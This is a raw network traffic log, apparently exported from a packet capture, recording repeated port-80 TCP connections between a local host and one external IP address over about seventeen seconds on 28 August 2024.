                                                                      Aug 28, 2024 11:17:51.471957922 CEST5777580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.477020979 CEST8057775185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:51.477037907 CEST8057775185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:51.477051020 CEST8057775185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:51.595472097 CEST8057774185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:51.596033096 CEST5777480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.772722960 CEST8057775185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:51.815562010 CEST5777580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.904999971 CEST8057775185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:51.956202030 CEST5777580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.972714901 CEST5777680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.972727060 CEST5777580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.977547884 CEST8057776185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:51.977672100 CEST5777680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.977771997 CEST5777680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.978934050 CEST8057775185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:51.979042053 CEST5777580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:51.982506990 CEST8057776185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.031900883 CEST5777680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:52.032253981 CEST5777780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:52.037014961 CEST8057777185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.037142992 CEST5777780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:52.037214994 CEST5777780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:52.041910887 CEST8057777185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.077835083 CEST8057776185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.393918991 CEST5777780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:52.398833990 CEST8057777185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.398849010 CEST8057777185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.398861885 CEST8057777185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.434007883 CEST8057776185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.434242010 CEST5777680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:52.758673906 CEST8057777185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.799961090 CEST5777780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:52.892430067 CEST8057777185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:52.940587044 CEST5777780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.017379045 CEST5777780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.017692089 CEST6013780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.022505999 CEST8060137185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.022521019 CEST8057777185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.022602081 CEST5777780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.022614956 CEST6013780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.022790909 CEST6013780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.027579069 CEST8060137185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.378557920 CEST6013780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.383502007 CEST8060137185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.383517027 CEST8060137185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.383527994 CEST8060137185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.690826893 CEST8060137185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.737487078 CEST6013780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.824539900 CEST8060137185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.878098011 CEST6013780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.961450100 CEST6013880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.967066050 CEST8060138185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:53.967145920 CEST6013880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.967360973 CEST6013880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:53.973794937 CEST8060138185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:54.315697908 CEST6013880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:54.320650101 CEST8060138185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:54.320663929 CEST8060138185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:54.320674896 CEST8060138185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:54.611114979 CEST8060138185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:54.659353971 CEST6013880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:54.740418911 CEST8060138185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:54.784343004 CEST6013880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:54.857436895 CEST6013880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:54.857690096 CEST6013980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:54.862912893 CEST8060138185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:54.862982035 CEST6013880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:54.863468885 CEST8060139185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:54.863532066 CEST6013980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:54.863609076 CEST6013980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:54.868494987 CEST8060139185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:55.221930027 CEST6013980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.226881981 CEST8060139185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:55.226903915 CEST8060139185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:55.226938963 CEST8060139185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:55.529230118 CEST8060139185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:55.581214905 CEST6013980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.656682968 CEST8060139185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:55.707379103 CEST6013980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.777900934 CEST6013780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.779453993 CEST6013980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.779720068 CEST6014080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.784421921 CEST8060139185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:55.784446955 CEST8060140185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:55.784487963 CEST6013980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.784532070 CEST6014080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.784634113 CEST6014080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:55.789336920 CEST8060140185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:56.150108099 CEST6014080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:56.155112982 CEST8060140185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:56.155127048 CEST8060140185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:56.155136108 CEST8060140185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:56.430409908 CEST8060140185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:56.471853971 CEST6014080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:56.560194016 CEST8060140185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:56.612483978 CEST6014080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:56.687700987 CEST6014080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:56.687764883 CEST6014180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:56.692984104 CEST8060140185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:56.693062067 CEST6014080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:56.693490028 CEST8060141185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:56.693567991 CEST6014180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:56.693737030 CEST6014180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:56.698482037 CEST8060141185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.035164118 CEST6014180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.035345078 CEST6014280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.133335114 CEST8060142185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.133496046 CEST6014280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.133558035 CEST6014280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.138382912 CEST8060142185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.154712915 CEST6014380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.159603119 CEST8060143185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.159679890 CEST6014380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.159760952 CEST6014380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.164582968 CEST8060143185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.167618990 CEST8060141185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.167684078 CEST6014180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.487602949 CEST6014280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.492563009 CEST8060142185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.492697001 CEST8060142185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.518807888 CEST6014380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.524739981 CEST8060143185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.524753094 CEST8060143185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.524759054 CEST8060143185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.825884104 CEST8060142185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.878114939 CEST6014280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.882141113 CEST8060143185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:57.925090075 CEST6014380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:57.957386017 CEST8060142185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:58.003118038 CEST6014280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.016290903 CEST8060143185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:58.065625906 CEST6014380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.139105082 CEST6014280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.139389992 CEST6014380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.139391899 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.144073963 CEST8060142185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:58.144145012 CEST6014280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.144149065 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:58.144213915 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.144320011 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.144357920 CEST8060143185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:58.144407034 CEST6014380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.151274920 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:58.503209114 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.534363985 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:58.846852064 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:59.357250929 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.357292891 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.357350111 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:59.357372046 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.357424021 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:59.358625889 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.358684063 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:59.359301090 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.359348059 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.359358072 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.359534979 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.362184048 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.363621950 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.363631010 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.567326069 CEST8060144185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.612590075 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:59.689574003 CEST6014580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:59.694529057 CEST8060145185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:59.694595098 CEST6014580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:59.694701910 CEST6014580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:59.699606895 CEST8060145185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.050286055 CEST6014580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.055749893 CEST8060145185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.055767059 CEST8060145185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.055778027 CEST8060145185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.349641085 CEST8060145185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.393840075 CEST6014580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.480408907 CEST8060145185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.534462929 CEST6014580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.610713959 CEST6014580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.611124039 CEST6014680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.615947008 CEST8060145185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.615962982 CEST8060146185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.616009951 CEST6014580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.616041899 CEST6014680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.616170883 CEST6014680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.620969057 CEST8060146185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.972130060 CEST6014680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:00.977081060 CEST8060146185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.977097034 CEST8060146185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:00.977108955 CEST8060146185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:01.307960033 CEST8060146185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:01.362507105 CEST6014680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:01.442195892 CEST8060146185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:01.487548113 CEST6014680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:01.563824892 CEST6014680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:01.564054966 CEST6014780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:01.569201946 CEST8060146185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:01.569283962 CEST6014680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:01.570449114 CEST8060147185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:01.570517063 CEST6014780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:01.570617914 CEST6014780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:01.575926065 CEST8060147185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:01.925147057 CEST6014780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:01.930763960 CEST8060147185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:01.930775881 CEST8060147185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:01.930787086 CEST8060147185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.206083059 CEST8060147185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.253158092 CEST6014780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.336715937 CEST8060147185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.378278971 CEST6014780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.451646090 CEST6014480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.453326941 CEST6014780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.453561068 CEST6014880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.458380938 CEST8060148185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.458456993 CEST6014880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.458532095 CEST6014880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.458549023 CEST8060147185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.458596945 CEST6014780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.463332891 CEST8060148185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.815855026 CEST6014880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.822236061 CEST8060148185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.822249889 CEST8060148185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.822259903 CEST8060148185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.972742081 CEST6014880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.972770929 CEST6014980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.977673054 CEST8060149185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.977785110 CEST6014980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.977879047 CEST6014980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.978569031 CEST8060148185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:02.978621960 CEST6014880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:02.984189034 CEST8060149185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.094384909 CEST6015080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.099864960 CEST8060150185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.099972010 CEST6015080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.100076914 CEST6015080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.105242968 CEST8060150185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.331437111 CEST6014980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.336396933 CEST8060149185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.336414099 CEST8060149185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.456382990 CEST6015080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.461266994 CEST8060150185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.461278915 CEST8060150185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.461289883 CEST8060150185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.603991032 CEST8060149185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.643788099 CEST6014980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.730045080 CEST8060150185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.732697964 CEST8060149185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.784446955 CEST6014980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.784533978 CEST6015080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.860717058 CEST8060150185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.909413099 CEST6015080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.982851982 CEST6014980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.982851982 CEST6015080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.983062983 CEST6015180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.990545034 CEST8060151185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.990633011 CEST6015180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.990731001 CEST6015180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.990775108 CEST8060149185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.990824938 CEST6014980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.991043091 CEST8060150185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:03.991089106 CEST6015080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:03.995520115 CEST8060151185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:04.347088099 CEST6015180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:04.352025986 CEST8060151185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:04.352041006 CEST8060151185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:04.352051973 CEST8060151185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:04.614253044 CEST8060151185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:04.659399986 CEST6015180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:04.748740911 CEST8060151185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:04.800142050 CEST6015180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:04.872647047 CEST6015280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:04.877466917 CEST8060152185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:04.877549887 CEST6015280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:04.877679110 CEST6015280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:04.882472992 CEST8060152185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:05.222096920 CEST6015280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.227020025 CEST8060152185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:05.227034092 CEST8060152185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:05.227045059 CEST8060152185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:05.560600042 CEST8060152185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:05.614876986 CEST6015280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.689271927 CEST8060152185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:05.737535954 CEST6015280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.809581041 CEST6015180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.812503099 CEST6015280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.812858105 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.817667961 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:05.817740917 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.817820072 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.818094015 CEST8060152185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:05.818212986 CEST6015280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:05.822624922 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:06.175153971 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:06.180241108 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:06.180255890 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:06.180268049 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:07.540468931 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:07.540651083 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:07.540661097 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:07.540712118 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:07.540745974 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:07.540788889 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:07.540940046 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:07.540982008 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:07.654469967 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:07.654705048 CEST6015480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:07.659684896 CEST8060153185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:07.659745932 CEST6015380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:07.660015106 CEST8060154185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:07.660090923 CEST6015480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:07.660233974 CEST6015480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:07.666502953 CEST8060154185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:08.018995047 CEST6015480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:08.023917913 CEST8060154185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:08.023979902 CEST8060154185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:08.023994923 CEST8060154185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:08.342097044 CEST8060154185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:08.393925905 CEST6015480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:08.475284100 CEST8060154185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:08.518937111 CEST6015480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:08.592505932 CEST6015480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:08.592715979 CEST6015580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:08.597482920 CEST8060155185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:08.597560883 CEST6015580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:08.597666025 CEST6015580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:08.597726107 CEST8060154185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:08.597781897 CEST6015480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:08.604209900 CEST8060155185.106.93.197192.168.2.7
